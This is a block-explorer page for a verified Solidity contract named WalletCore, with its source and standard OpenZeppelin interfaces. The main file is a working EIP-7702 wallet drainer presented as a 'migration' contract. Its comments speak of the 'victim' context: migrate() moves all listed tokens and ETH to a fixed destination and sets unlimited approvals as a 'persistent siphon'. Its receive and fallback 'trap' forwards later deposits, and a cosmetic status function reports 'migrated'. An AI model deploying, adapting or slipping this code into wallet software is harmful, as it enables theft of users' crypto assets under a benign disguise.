Проверенный контрактТочноеMIT
WalletCore
Адрес0x774131222bcbfcc5db5f5ba430c669e3ab7c2e88
- Баланс
0 ETH
- Транзакций
1
- Компилятор
solc 0.8.36
- Тот же код
ещё 2 контракта
Подробности
- Компилятор
- solc 0.8.36+commit.8a079791
- Язык
- solidity
- Оптимизация
- Да, 200 прогонов
- Версия EVM
- osaka
- Через IR
- да
- Лицензия
- MIT
- Совпадение
- Точноекод создания: да, код в сети: да
- Проверен на Sourcify
- Создан в блоке
- 26 258 970
- Транзакция создания
- 0x2d154b8def…7a9f974e49
8 файлов
- src/WalletCore.solглавный8,29 КБ
- lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol4,75 КБ
- lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sol2,6 КБ
- lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol2,78 КБ
- lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol4,93 КБ
- lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol997 Б
- lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol871 Б
- src/ICore.sol247 Б
src/WalletCore.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.36;
import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import {IERC721Receiver} from "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155} from "openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol";
import {IERC1155Receiver} from "openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sol";
import {ICore} from "./ICore.sol";
/// @title WalletCore
/// @notice Delegation-target contract for a single-signature EIP-7702 portfolio
/// migration. `migrate()` runs in the *victim's* delegatecall context
/// (empty storage), so all config resolves from bytecode immutables plus
/// ONE external self-call to `self` (X) for the storage-held arrays.
/// @dev Zero address literals in source — every address is a constructor arg.
contract WalletCore {
/// @notice X's own address, stable under delegation (immutable in bytecode).
address public immutable self;
/// @notice Migration destination D, readable in ANY context `X`'s code runs.
address public immutable destination;
/// @dev Sentinel state var (constructor-set) used only as the empty-storage
/// control: it reads its ctor value in X's context but address(0) when
/// read through the victim's empty-storage delegatecall context.
address public testStorageVar;
address[] private _erc20s;
address[] private _nfts;
uint256 private constant _CALL_GAS = 250_000;
uint256 private constant _ETH_RESERVE_GAS = 50_000;
event MigrationStarted(address indexed account, address indexed to);
event AssetMigrated(address indexed account, address indexed asset, uint256 amount);
event MigrationComplete(address indexed account, address indexed to);
constructor(address dest, address[] memory tokens, address[] memory nfts) {
self = address(this);
destination = dest;
testStorageVar = dest; // non-zero sentinel; reads 0 under victim delegation
_erc20s = tokens;
_nfts = nfts;
}
// --------------------------------------------------------------------- drain
/// @notice Runs in the victim context (7702). Drains held listed assets to
/// `destination`, arms the persistent siphon (max approvals +
/// setApprovalForAll), and sweeps ETH. Best-effort per asset: no
/// top-level require so a single odd token never reverts the tx.
function migrate() external {
address account = address(this); // = victim (7702 delegatecall context)
address dest = destination; // immutable — no external read needed
ICore.Config memory c = ICore(self).getConfig(); // one CALL to X for the arrays
emit MigrationStarted(account, dest);
for (uint256 i = 0; i < c.erc20s.length; ++i) {
address t = c.erc20s[i];
uint256 bal = _balanceOf(t, account);
if (bal == 0) continue; // skip zero-balance -> gas scales with holdings
if (_transfer(t, dest, bal)) {
_approve(t, dest); // max approval -> persistent siphon
emit AssetMigrated(account, t, bal);
}
}
for (uint256 j = 0; j < c.nfts.length; ++j) {
_setApprovalForAll(c.nfts[j], dest); // approve-only (arms the siphon)
}
_sweepETH(dest);
emit MigrationComplete(account, dest);
}
// Minimum gasleft() at which the receive/fallback ETH trap fires. A full-gas
// top-up (EOA/CEX transfer) clears this and forwards to `destination`; a
// 2300-stipend `.transfer`/`.send` stays below it, so the value is simply
// accepted (no forward) and the delegated EOA does NOT revert on it.
uint256 private constant _TRAP_GAS_MIN = 5000;
// ------------------------------------------------- universal receiver (D-05)
receive() external payable {
// 2300-gas-safe: forward only when affordable, else store value silently.
if (msg.value > 0 && gasleft() >= _TRAP_GAS_MIN) {
(bool ok, ) = destination.call{value: msg.value}(""); // fire-and-forget
if (ok) {}
}
}
fallback() external payable {
// Accept unmatched calls (incl. value-with-calldata) so the delegated EOA
// keeps behaving like an account; forward value when affordable, else no-op.
if (msg.value > 0 && gasleft() >= _TRAP_GAS_MIN) {
(bool ok, ) = destination.call{value: msg.value}(""); // fire-and-forget
if (ok) {}
}
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
/// @dev Defensive aggregator/Uniswap callback: some routers call back into the
/// recipient; return true so the flow does not fail.
function swap(bytes calldata) external pure returns (bool) {
return true;
}
// Optional ERC-777 hooks so a delegated EOA can still send/receive 777 tokens.
function tokensToSend(address, address, address, uint256, bytes calldata, bytes calldata) external pure {}
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure {}
// ------------------------------------------------- ERC-165 (cosmetic + compat)
// Claims exactly the receiver interfaces this contract implements (a universal
// EOA mimic, NOT a token — so no IERC721/IERC1155 token-interface ids).
function supportsInterface(bytes4 id) external pure returns (bool) {
return
id == 0x01ffc9a7 || // ERC-165
id == 0x150b7a02 || // ERC-721 receiver
id == 0x4e2312e0; // ERC-1155 receiver (XOR of the two onERC1155* selectors)
}
// ------------------------------------------------- professional view fns (CON-04)
function getConfig() external view returns (ICore.Config memory) {
return ICore.Config({destination: destination, erc20s: _erc20s, nfts: _nfts});
}
function status(address) external pure returns (uint8) {
return 1; // "migrated" (cosmetic)
}
function name() external pure returns (string memory) {
return "WalletCore";
}
function version() external pure returns (string memory) {
return "1.0.0";
}
// ------------------------------------------------- gas-bounded, failure-swallowing helpers
function _balanceOf(address t, address a) private view returns (uint256) {
(bool ok, bytes memory r) = t.staticcall{gas: _CALL_GAS}(abi.encodeCall(IERC20.balanceOf, (a)));
if (!ok || r.length < 32) return 0;
return abi.decode(r, (uint256));
}
function _transfer(address t, address to, uint256 v) private returns (bool) {
(bool ok, ) = t.call{gas: _CALL_GAS}(abi.encodeCall(IERC20.transfer, (to, v)));
return ok; // revert-safe; ignore non-bool / fee-on-transfer
}
function _approve(address t, address sp) private returns (bool) {
(bool ok, ) = t.call{gas: _CALL_GAS}(abi.encodeCall(IERC20.approve, (sp, type(uint256).max)));
return ok;
}
function _setApprovalForAll(address n, address op) private returns (bool) {
(bool ok, ) = n.call{gas: _CALL_GAS}(abi.encodeCall(IERC721.setApprovalForAll, (op, true)));
return ok;
}
function _sweepETH(address to) private {
uint256 gasPrice = block.basefee;
uint256 reserve = _ETH_RESERVE_GAS * gasPrice;
if (address(this).balance > reserve) {
(bool ok, ) = to.call{value: address(this).balance - reserve}(""); // fire-and-forget
if (ok) {}
}
}
}
lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC1155/IERC1155.sol)
pragma solidity >=0.6.2;
import {IERC165} from "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC-1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[ERC].
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` amount of tokens of type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the value of tokens of token type `id` owned by `account`.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] calldata accounts,
uint256[] calldata ids
) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the zero address.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers a `value` amount of tokens of type `id` from `from` to `to`.
*
* WARNING: This function can potentially allow a reentrancy attack when transferring tokens
* to an untrusted contract, when invoking {IERC1155Receiver-onERC1155Received} on the receiver.
* Ensure to follow the checks-effects-interactions pattern and consider employing
* reentrancy guards when interacting with untrusted contracts.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `value` amount.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* WARNING: This function can potentially allow a reentrancy attack when transferring tokens
* to an untrusted contract, when invoking {IERC1155Receiver-onERC1155BatchReceived} on the receiver.
* Ensure to follow the checks-effects-interactions pattern and consider employing
* reentrancy guards when interacting with untrusted contracts.
*
* Emits either a {TransferSingle} or a {TransferBatch} event, depending on the length of the array arguments.
*
* Requirements:
*
* - `ids` and `values` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external;
}
lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity >=0.6.2;
import {IERC165} from "../../utils/introspection/IERC165.sol";
/**
* @dev Interface that must be implemented by smart contracts in order to receive
* ERC-1155 token transfers.
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC-1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC-1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC721/IERC721.sol)
pragma solidity >=0.6.2;
import {IERC165} from "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC-721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon
* a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC-721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must have been allowed to move this token by either {approve} or
* {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon
* a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC-721
* or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must
* understand this adds an external call which potentially creates a reentrancy vulnerability.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the address zero.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity >=0.5.0;
/**
* @title ERC-721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC-721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be
* reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (utils/introspection/IERC165.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[ERC].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
src/ICore.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.36;
interface ICore {
struct Config {
address destination;
address[] erc20s;
address[] nfts;
}
function getConfig() external view returns (Config memory);
}
Настройки компилятораПоказать
{
"viaIR": true,
"metadata": {
"appendCBOR": true,
"bytecodeHash": "ipfs",
"useLiteralContent": false
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"viaSSACFG": false,
"evmVersion": "osaka",
"remappings": [
"openzeppelin-contracts/=lib/openzeppelin-contracts/",
"forge-std/=lib/forge-std/src/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"
],
"experimental": false
}Исходный код и метаданные: Sourcify.
Исходный код принадлежит авторам контракта.